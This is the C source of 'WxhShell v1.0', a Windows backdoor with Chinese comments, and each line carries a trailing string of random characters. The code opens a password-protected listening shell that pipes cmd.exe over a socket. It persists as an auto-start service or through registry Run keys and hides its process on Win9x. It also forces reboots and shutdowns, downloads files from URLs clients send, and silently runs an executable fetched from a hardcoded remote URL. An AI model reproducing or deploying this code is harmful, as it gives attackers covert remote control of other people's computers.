    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r/$+'~apTk  
    if(Boot(SHUTDOWN)) [2pp)wq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %[u6<  
    else { wZJpSkcEx  
    closesocket(wsh); 9z$]hl  
    ExitThread(0); : ^F+m QN  
    } x1:+M]Da  
    break; w},' 1  
    } Uq5 wN05  
  // 获取shell ZR.1SA0x?O  
  case 's': { HJhPd#xCW  
    CmdShell(wsh); X^r5su?  
    closesocket(wsh); iS&~oj_-%  
    ExitThread(0); >@KQ )p' `  
    break; L$=@j_V2  
  } K{.s{;#  
  // 退出 }S<2({GI  
  case 'x': { es]\ xw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lTY%,s  
    CloseIt(wsh); KE1S5Mck>  
    break; "u~l+aW0  
    } @kvgq 0ab  
  // 离开 7}OzTup  
  case 'q': { M>D 3NY[,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BF@(`D&>  
    closesocket(wsh); 1mhX3  
    WSACleanup(); ,DK|jf  
    exit(1); .=~beTS'Vo  
    break; fu?5gzT+b  
        } O{zY(`[  
  } )f1<-a"D|  
  } )^7Y^u e  
F`S OF O  
  // 提示信息 qKt8sxg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E]w1!Ah M  
} jcHs!   
  } geU-T\1[l  
&?>h#H222  
  return; x%d+~U;$&  
} k%E9r'Ac  
:zfnp,Gv  
// shell模块句柄 H .)}|  
int CmdShell(SOCKET sock) SY|r'8Z%Q  
{ Yao>F--?  
STARTUPINFO si; %41dVnWB^4  
ZeroMemory(&si,sizeof(si)); 5w"f.d'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DfwxPt#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;~T)pG8IS  
PROCESS_INFORMATION ProcessInfo; yLCqlK  
char cmdline[]="cmd"; ;KJJK#j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0/hX3h  
  return 0; ^tX+<X  
} 11}sRu/  
='u'/g$'&  
// 自身启动模式 )bRe"jxn7  
int StartFromService(void) !3U1HS-i62  
{ w,TyV%b[_  
typedef struct o^dt# &  
{ |t CD@M  
  DWORD ExitStatus; Sxf|gDC  
  DWORD PebBaseAddress; 9qD/q?Hh$  
  DWORD AffinityMask; }'$6EgX  
  DWORD BasePriority; 58zs% +F  
  ULONG UniqueProcessId; A[J9v{bD  
  ULONG InheritedFromUniqueProcessId; h`+Gs{1qw  
}   PROCESS_BASIC_INFORMATION; x&sT )=#  
G}ElQD  
PROCNTQSIP NtQueryInformationProcess; C>7Mx{!H  
qY\zZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #b\&Md|;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^ L'8:  
2!>phE  
  HANDLE             hProcess; lz\{ X  
  PROCESS_BASIC_INFORMATION pbi; {YZ)IaqZ  
}<7Dyn,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1  6;l,@  
  if(NULL == hInst ) return 0; Fp4?/-]  
AbUU#C7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Le9r7O:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G?\o_)IJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6;Cr92  
RK(uC-l  
  if (!NtQueryInformationProcess) return 0; <y'B !d#  
dgd&ymRm :  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Djx9TBZ5  
  if(!hProcess) return 0; +P|$T:b  
HP|,AmVLl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3Zg=ZnF  
E#Ynn6  
  CloseHandle(hProcess); g*t.g@B<2  
9 pE)S^P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \sHM[n F0  
if(hProcess==NULL) return 0; deaxb8'7  
)ZzwD]  
HMODULE hMod; 9UOx~Ty  
char procName[255]; Zm%}AzM  
unsigned long cbNeeded; qA9*t  
<9-tA\`8N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V5KAiG<d  
}@@1N3nnxV  
  CloseHandle(hProcess); y[q W>  
25ul,t_Du  
if(strstr(procName,"services")) return 1; // 以服务启动 l,h#RTfry  
[=e61Z  
  return 0; // 注册表启动 5yp~PhHf  
} ;Iw'TF   
i3: sV5  
// 主模块 OI %v>ns  
int StartWxhshell(LPSTR lpCmdLine) _kH#{4`Hw  
{ y>2v 9;Qp  
  SOCKET wsl; {0QD-b o  
BOOL val=TRUE; QC4_\V>[  
  int port=0; #Vul#JHW  
  struct sockaddr_in door; 4}580mBc  
j /-p3#c  
  if(wscfg.ws_autoins) Install(); /qI80KVnN  
( 4ow0}1  
port=atoi(lpCmdLine); QI=SR  
1{o CMq/v  
if(port<=0) port=wscfg.ws_port; XIBw&mWf  
P_-zkw  
  WSADATA data; i=o>Bl@f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5 F^,7A4I0  
b% $S6.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +6gS]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ys+?+dY2  
  door.sin_family = AF_INET; L8bq3Q'p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uO[4 WZ  
  door.sin_port = htons(port); }'H Da M  
(Egykh>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9%zR ? u  
closesocket(wsl); J)jiI>  
return 1; ^~BJu#uVyy  
} NLz$jk%=g  
 k[vn:  
  if(listen(wsl,2) == INVALID_SOCKET) { -v jjcyTt  
closesocket(wsl); KOF!a  
return 1; y]?$zbB  
} WM@uxe,  
  Wxhshell(wsl); ni%^w(J3Q  
  WSACleanup(); t9K.Jc0  
zLxWyPM0;  
return 0; H>DJ-lG(  
^f`#8G7(  
} >F-J}P  
x<ENN>mW1  
// 以NT服务方式启动 ;U7\pc;S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qtgK}*9ptv  
{ b7>;UX  
DWORD   status = 0; >_F& oA#  
  DWORD   specificError = 0xfffffff; /`s^.Xh  
vG\Wr.h0!=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Tu6he8Q-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zP9 HYS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a,j!B hu  
  serviceStatus.dwWin32ExitCode     = 0; D 'u+3  
  serviceStatus.dwServiceSpecificExitCode = 0; omRd'\ RO  
  serviceStatus.dwCheckPoint       = 0; /FYa{.Vlr  
  serviceStatus.dwWaitHint       = 0; 8F[j}.8q  
d>AVUf<o~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9CN / v  
  if (hServiceStatusHandle==0) return; r?[mn^Bo5  
\2+xMv)8  
status = GetLastError(); P' J_:\  
  if (status!=NO_ERROR) "QlCcH`g  
{ NA3yd^sr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VJ$C)0xQA  
    serviceStatus.dwCheckPoint       = 0; C/cGr)|8%  
    serviceStatus.dwWaitHint       = 0; * e 8V4P  
    serviceStatus.dwWin32ExitCode     = status; 3>jz3>v@  
    serviceStatus.dwServiceSpecificExitCode = specificError; NF a ;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9m'[52{o  
    return; ow$#kQ&R O  
  } .i. |wY  
W*s`1O>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .xk<7^ZD  
  serviceStatus.dwCheckPoint       = 0; Y"lxh/l$}  
  serviceStatus.dwWaitHint       = 0; |Ji?p>\~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ke/P [fo  
} VAthQ<  
siG?Sd_2  
// 处理NT服务事件,比如:启动、停止 yNT2kB'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pUwX cy<n  
{ wM yPR_  
switch(fdwControl) AnyFg)a<  
{ 0 /kbxpih  
case SERVICE_CONTROL_STOP: YVaQ3o|!  
  serviceStatus.dwWin32ExitCode = 0; HaC3y[LJ0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \LYQZ*F  
  serviceStatus.dwCheckPoint   = 0; cp2fDn  
  serviceStatus.dwWaitHint     = 0; ~d%Q1F*,=  
  { I^wj7cFo5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -j$l@2g  
  } ,-1$Vh@wM  
  return; Ab"uN  
case SERVICE_CONTROL_PAUSE: jQr~@15J#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^GAdl}  
  break; !'gz&3B~h  
case SERVICE_CONTROL_CONTINUE: n=SZ8Rj7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f|G7L5-  
  break; N1Z8I:  
case SERVICE_CONTROL_INTERROGATE: N 4v)0  
  break; X@Bpjg  
}; u}rot+)%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v\k,,sI  
} p%ZiTrA1&D  
0>;#vEF*1  
// 标准应用程序主函数 6m" 75  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) otIJ[Mvyq  
{ [s34N+vU  
u7C{>  
// 获取操作系统版本 =5/;h+bk+3  
OsIsNt=GetOsVer(); aK&+p#4t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t? A4xk  
6uXW`/lvX  
  // 从命令行安装 KVcZ@0[S  
  if(strpbrk(lpCmdLine,"iI")) Install(); YJ^ lM\/<  
/T(\}Z  
  // 下载执行文件 bGi_", 8  
if(wscfg.ws_downexe) { D{4hNO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,1[??Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); LA?\~rh!  
} {e%abr_B  
HV9SdJOf  
if(!OsIsNt) { ]18ygqt  
// 如果时win9x,隐藏进程并且设置为注册表启动 /kA19E4  
HideProc(); ; BZM~ '  
StartWxhshell(lpCmdLine); DqMK[N,0  
} Xe SbA  
else 9i<-\w^$  
  if(StartFromService()) oyt//SE  
  // 以服务方式启动 yUW&Wgc=:  
  StartServiceCtrlDispatcher(DispatchTable); .lBY"W&{  
else ]jb4Z  
  // 普通方式启动 k4$q|x7+%  
  StartWxhshell(lpCmdLine); J4}\V$ysN  
NN 6KLbC(  
return 0; icul15'i  
} y<1$^Y1/)  
7Hl_[n|  
(`]*Y(/2G  
lZM3Q58?\  
=========================================== @6co\.bv  
b'1d<sD  
~Ex.Yp8.  
EO&ACG  
GWInN8.5  
R2O.}!'  
" (Q5@MfK`  
paNw5] -  
#include <stdio.h> (bx\4Ws  
#include <string.h> OJsd[l3xR  
#include <windows.h> 8RAeJ~e  
#include <winsock2.h> %Sn6*\z  
#include <winsvc.h> '95E;RV&  
#include <urlmon.h> >I& jurU#  
uUz`=4%A  
#pragma comment (lib, "Ws2_32.lib") +qUkMx  
#pragma comment (lib, "urlmon.lib") {?/8jCVd  
^ Y7/Ow  
#define MAX_USER   100 // 最大客户端连接数 q[7d7i/r6  
#define BUF_SOCK   200 // sock buffer VL7S7pb_  
#define KEY_BUFF   255 // 输入 buffer gXu^"  
`_1(Q9Q  
#define REBOOT     0   // 重启 ^+as\  
#define SHUTDOWN   1   // 关机 >4/L-y+  
BY*2yp}7  
#define DEF_PORT   5000 // 监听端口 N<06sRg#  
Pc(n@'m~  
#define REG_LEN     16   // 注册表键长度 {@V3?pG?p  
#define SVC_LEN     80   // NT服务名长度 ~zxwg+:QO  
#$=8g RZj  
// 从dll定义API /S]:dDY9K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'cZMRR c <  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aZj J]~bO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sm;E2BR$ `  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @0z0m;8  
"J pTE \/  
// wxhshell配置信息 PZuq'^p  
struct WSCFG { <!~1{`n%9J  
  int ws_port;         // 监听端口 rX33s  
  char ws_passstr[REG_LEN]; // 口令 %o@['9U[j  
  int ws_autoins;       // 安装标记, 1=yes 0=no KQ4kZN  
  char ws_regname[REG_LEN]; // 注册表键名 {N!E5*$Tr  
  char ws_svcname[REG_LEN]; // 服务名 6F*-qb3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2.LJp}>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2(m85/Hr\;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QqiJun_m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _[OF"X2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _F`$ d2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NoCDY2 $  
9- xlvU,o  
}; ?P""KVp o  
Zc'|!pT _  
// default Wxhshell configuration &8<<!#ob  
struct WSCFG wscfg={DEF_PORT, =db'#m{$  
    "xuhuanlingzhe", b , juF2  
    1, H2qf'  
    "Wxhshell", ;rB6u_5"I.  
    "Wxhshell", E/mubA(&  
            "WxhShell Service", TB7>s~)47E  
    "Wrsky Windows CmdShell Service", [%@2o<  
    "Please Input Your Password: ", Ih.rC>)rx  
  1, Deg!<[Nw  
  "http://www.wrsky.com/wxhshell.exe", No`|m0 :j  
  "Wxhshell.exe" _u&>&,:q  
    }; t})lr\  
I=K!)X$  
// 消息定义模块 &v^!y=Bt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vQ:wW',i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {5^K Xj$B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 25 CZmsg  
char *msg_ws_ext="\n\rExit."; E {tx/$f  
char *msg_ws_end="\n\rQuit."; L0rip5[;d  
char *msg_ws_boot="\n\rReboot..."; B:4Ka]{YO  
char *msg_ws_poff="\n\rShutdown..."; Btj#EoSI_  
char *msg_ws_down="\n\rSave to "; qgoJ4Z*  
t\h$&[[l'z  
char *msg_ws_err="\n\rErr!"; vr=~M?  
char *msg_ws_ok="\n\rOK!"; ]' Y|N l  
0n Y6A~  
char ExeFile[MAX_PATH]; &59F8JgJ  
int nUser = 0; ~h-C&G ,v  
HANDLE handles[MAX_USER]; i AdGgK  
int OsIsNt; |0`hE;Kt7  
+`@M*kd  
SERVICE_STATUS       serviceStatus; vY6oV jM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ck\7F?S  
lbQQtpEKO  
// 函数声明 vw2`:]Q+  
int Install(void); ui:=  
int Uninstall(void); 62)d22  
int DownloadFile(char *sURL, SOCKET wsh); cHx%Nd\  
int Boot(int flag); Mi+H#xx16  
void HideProc(void); v2Bzx/F:  
int GetOsVer(void); T*?s@$)m4  
int Wxhshell(SOCKET wsl); `K*b?:0lp  
void TalkWithClient(void *cs); _A98  
int CmdShell(SOCKET sock); -w1@!Sdd  
int StartFromService(void); >I}9LyZt  
int StartWxhshell(LPSTR lpCmdLine); #2RiLht  
&?0:v`4Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :_ROJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z\~G U*Y.e  
G?AG:%H%  
// 数据结构和表定义 ]PWDE"  
SERVICE_TABLE_ENTRY DispatchTable[] = !d,8kG  
{ mMSh2B  
{wscfg.ws_svcname, NTServiceMain}, S${Zzt"  
{NULL, NULL} OtJ\T/q,  
}; Yw'NX5#)g  
?^i1_v7 Bi  
// 自我安装 5!I4l1  
int Install(void) :Zt2'vcGpf  
{ Ej=3/RBsV  
  char svExeFile[MAX_PATH]; (@r `$5D.b  
  HKEY key; mj&57D\fq  
  strcpy(svExeFile,ExeFile);  J@_ctGv  
T f4tj!t-  
// 如果是win9x系统,修改注册表设为自启动 )`^p%k  
if(!OsIsNt) { }VDqj}is  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s4&^D<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Aw&tP[N[  
  RegCloseKey(key); .<kqJ|SVi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pr%nbl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t_mIOm)S%  
  RegCloseKey(key); !i=nSqW  
  return 0; >0Q|nCx  
    } AwQ?l(iZ"p  
  } v[Kxja;  
} qI^ /"k*5  
else { 4CGPO c  
Z7 E  
// 如果是NT以上系统,安装为系统服务 AT5aDEb^^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1q;#VS/D;H  
if (schSCManager!=0) cQ9q;r`%  
{ q^6+!&"  
  SC_HANDLE schService = CreateService {BKl`1z  
  ( GF3/RT9  
  schSCManager, ;WldHaZ9r  
  wscfg.ws_svcname, qCv20#!"|  
  wscfg.ws_svcdisp, .*elggM  
  SERVICE_ALL_ACCESS, CbN!1E6).  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MDF%\Sx  
  SERVICE_AUTO_START, j <o3JV  
  SERVICE_ERROR_NORMAL, ;NNe!}C  
  svExeFile, T?4G'84nN  
  NULL, 6oui]$pH  
  NULL, A&>.74}p  
  NULL, *OQG 4aWy  
  NULL, aF7nvu*N  
  NULL !ti6  
  ); I$8" N]/C  
  if (schService!=0) F{ELSKcp.  
  { VN%INUi@  
  CloseServiceHandle(schService); [e1S^pI  
  CloseServiceHandle(schSCManager); 1T:Y0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JMTvSXr  
  strcat(svExeFile,wscfg.ws_svcname); wY"Q o7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dMrd_1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s`#(   
  RegCloseKey(key); c sfgJ^n  
  return 0; &d'Awvy0  
    } \Y{k7^G}A  
  } F4e:ZExJ  
  CloseServiceHandle(schSCManager); 8Dvazg}4  
} e)?Fi  
} Q);n<Z:X~  
B<-kzt  
return 1; )Z %T27r,^  
} Kt(-@\)!  
w4fW<ISg  
// 自我卸载 3"{.37Q  
int Uninstall(void) R N@ctRS  
{ q7&6r|w1I  
  HKEY key; san,|yrMn  
T,$WlK Wj  
if(!OsIsNt) { C{d7J'Avk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rm} R>4  
  RegDeleteValue(key,wscfg.ws_regname); gR@C0  
  RegCloseKey(key); /6_|]ijc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3 zn W=  
  RegDeleteValue(key,wscfg.ws_regname); )(7&X45,k  
  RegCloseKey(key); 9h0X&1u  
  return 0; ^GBe)~MT  
  } XO <y +  
} S1U@UC  
} %0Y=WYUH>  
else { )a3IQrf=  
s :`8ZBz~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GQ_p-/p R  
if (schSCManager!=0) [TCP-bU  
{ ;}z\i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oDcKtB+2  
  if (schService!=0) ` gW<M  
  { 8?Z4-6!{V,  
  if(DeleteService(schService)!=0) { ?GTU=gp Q  
  CloseServiceHandle(schService); 8t=(,^c  
  CloseServiceHandle(schSCManager); `nO71mo  
  return 0; e:AHVep j{  
  }  KQ[!o!%  
  CloseServiceHandle(schService); KgW:@X7wvM  
  }  8L*GE  
  CloseServiceHandle(schSCManager); M.td^l0  
} al+ #y)+  
} B-d(@7,1  
)f dE6  
return 1; _W3Y\cs,-  
} e5Mln!.o  
`c+/q2M  
// 从指定url下载文件 P IXL6  
int DownloadFile(char *sURL, SOCKET wsh) xug)aE  
{ )~jqW=d 2  
  HRESULT hr; -A-tuyIsh"  
char seps[]= "/"; vB! |\eJ  
char *token; gh6d&ucQ^  
char *file; +%\oO/4Fs  
char myURL[MAX_PATH]; ,%YBG1E[y  
char myFILE[MAX_PATH]; wY"o`o Z  
2u?zO7W)-L  
strcpy(myURL,sURL); 0J~Qq]g  
  token=strtok(myURL,seps); I?Q+9Rmm`J  
  while(token!=NULL) j8 C8X$  
  { ESb ]}c:  
    file=token; >"3>fche  
  token=strtok(NULL,seps); 0@Kkl$O>mb  
  } 7-_vY[)/  
2i|B=D(  
GetCurrentDirectory(MAX_PATH,myFILE); ?*r!{3T ,u  
strcat(myFILE, "\\"); nT#JOmv  
strcat(myFILE, file); N~ANjn/wL  
  send(wsh,myFILE,strlen(myFILE),0); K t#,]]  
send(wsh,"...",3,0); *R % wUi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^&c$[~W  
  if(hr==S_OK) 1K|@ h&@  
return 0; +_HdX w#  
else FuP/tTMU1a  
return 1; {,O`rW_eS  
$R{8z-,Q  
} F@YV]u>N  
:h";c"  
// 系统电源模块 qJ[@:&:  
int Boot(int flag) a}.Y!O&  
{ YT2'!R 1  
  HANDLE hToken; |Svk^mq  
  TOKEN_PRIVILEGES tkp; w.kCBDL  
2f:Mm'XdB  
  if(OsIsNt) { JE%A|R<Jl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ? J|4l[x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); + Oobb-v  
    tkp.PrivilegeCount = 1; rH}fLu8,;Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @oH[SWx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U|fTb0fB  
if(flag==REBOOT) { a[O6YgO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y' tRANxQ  
  return 0; S=R 3"~p  
} l`rC0kJ]  
else { M4<+%EV}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M9V-$ _)  
  return 0; <NQyP{p  
} 0o68rF5^s  
  } 52<~K  
  else { VJ1*|r,  
if(flag==REBOOT) { _.f@Y`4d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IrO +5w  
  return 0; BRtXf0~&p  
} 3hJH(ToO  
else { W]LQ &f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G)+Ff5e0L[  
  return 0; ze"~Ird  
} y\_wWE  
} ?Leyz  
]GS ~i+=M  
return 1; g3a/;wl  
} V [4n'LcE  
v!!;js^  
// win9x进程隐藏模块 h3t$>vs2F"  
void HideProc(void) 1#!@["  
{ l4 `^!  
BQU/QoDY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =L16hDk o  
  if ( hKernel != NULL ) E(/ sXji!  
  { 8|vld3;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); # `58F.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p)z-W(  
    FreeLibrary(hKernel); f#mx:Q.7I  
  } KZ4zF  
/yt7#!tm+  
return; B$DZ]/<  
} h+xA?[ c=  
|Pf(J;'[  
// 获取操作系统版本 GMT or  
int GetOsVer(void) :s-EG;.  
{ #ZF>WoC@e?  
  OSVERSIONINFO winfo; EJ8I[(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `+fk`5Y  
  GetVersionEx(&winfo); skK*OO 2-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /THNP 8.  
  return 1; ,M{Q}:$+4  
  else W1<.OO\J  
  return 0; |I/,F;'  
} Np)ho8zU  
bu&;-Ynb  
// 客户端句柄模块 T(&kXMaB  
int Wxhshell(SOCKET wsl) Y@ObwKcG  
{ SLg+H  
  SOCKET wsh; kI<Wvgo L  
  struct sockaddr_in client; u'=(&><  
  DWORD myID; (>mi!:  
>KKeV(Ur  
  while(nUser<MAX_USER) $(XgKq&xWZ  
{ d<_NB]V&F  
  int nSize=sizeof(client); J2'W =r_#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u8^Y,LN  
  if(wsh==INVALID_SOCKET) return 1; OZa88&  
\w3%[+c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2Gm-\o&Td"  
if(handles[nUser]==0) e& p_f<  
  closesocket(wsh); JxnuGkE0[#  
else q;ZLaX\bFl  
  nUser++; p %L1uwLG  
  } hR!}u}ECd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _/ct=  
E*OG-r   
  return 0; ))p$vU3  
} rAM *\=  
3;y_qwA  
// 关闭 socket LSSW.Oz2L  
void CloseIt(SOCKET wsh) m$,cH>E  
{ G5Je{N8W  
closesocket(wsh); amMjuyW  
nUser--; (=`Z0)=  
ExitThread(0); Sf=F cb  
}  oHOW5  
6g}^Q?cpV#  
// 客户端请求句柄 Ap% d<\,Z  
void TalkWithClient(void *cs) 75kKDR}6  
{ lxo.,n)  
)@!~8<_"  
  SOCKET wsh=(SOCKET)cs; '!Hhd![\=|  
  char pwd[SVC_LEN]; Ze#Jhn@  
  char cmd[KEY_BUFF]; v#iFQVBq  
char chr[1]; vc )9Re$  
int i,j; d[) _sa  
I$+%~4  
  while (nUser < MAX_USER) { D!X>O}  
GhtbQM1[H  
if(wscfg.ws_passstr) { HmhUc,EC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L^3~gM"!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EbG_43SV  
  //ZeroMemory(pwd,KEY_BUFF); jo<>Hc{g>  
      i=0; /.7$`d  
  while(i<SVC_LEN) { ]vRVo6@ k  
C5>{Q:.`e'  
  // 设置超时 #!w:_T%  
  fd_set FdRead; *4-r`k|@>/  
  struct timeval TimeOut; m &9)'o  
  FD_ZERO(&FdRead); Rl y jOf{0  
  FD_SET(wsh,&FdRead); v$[ @]`  
  TimeOut.tv_sec=8; cC b>zI  
  TimeOut.tv_usec=0; o,g6JTh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ARmu{cL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o~Bk0V=  
se~ *<5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )WaX2uDA?  
  pwd=chr[0]; sXSj OUI  
  if(chr[0]==0xd || chr[0]==0xa) { *d^9,GGn-  
  pwd=0; T^KCB\\<  
  break; )W[KD,0+j  
  } uOyLC<I/  
  i++; <FXQxM5"  
    } Bx\#`Y  
J%:WLQo  
  // 如果是非法用户,关闭 socket :jZ*,d%1={  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D /,|pC  
} o%vIkXw  
/IGrp.}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ytl:YzXCi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V_NjkyI  
PFImqojHd  
while(1) { Xulh.: N}  
E`oSi ez)  
  ZeroMemory(cmd,KEY_BUFF); SlH7-"Ag  
(1j(* ?2  
      // 自动支持客户端 telnet标准   OU0xZ=G  
  j=0; PiIp<fJd$  
  while(j<KEY_BUFF) { [,\'V0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <wIp$F.  
  cmd[j]=chr[0]; R*JOiVAC  
  if(chr[0]==0xa || chr[0]==0xd) { 7VEt4  
  cmd[j]=0; 27h/6i3  
  break; sW>P-  
  } NTpz)R  
  j++; iqU.a/~y  
    } ')C _An>X6  
i~v@  
  // 下载文件 rwi2kk#@P  
  if(strstr(cmd,"http://")) { -~rr<D\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $5q{vy  
  if(DownloadFile(cmd,wsh)) Vp- n(Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Mg8C9B?%3  
  else ~2, wI<Nz  
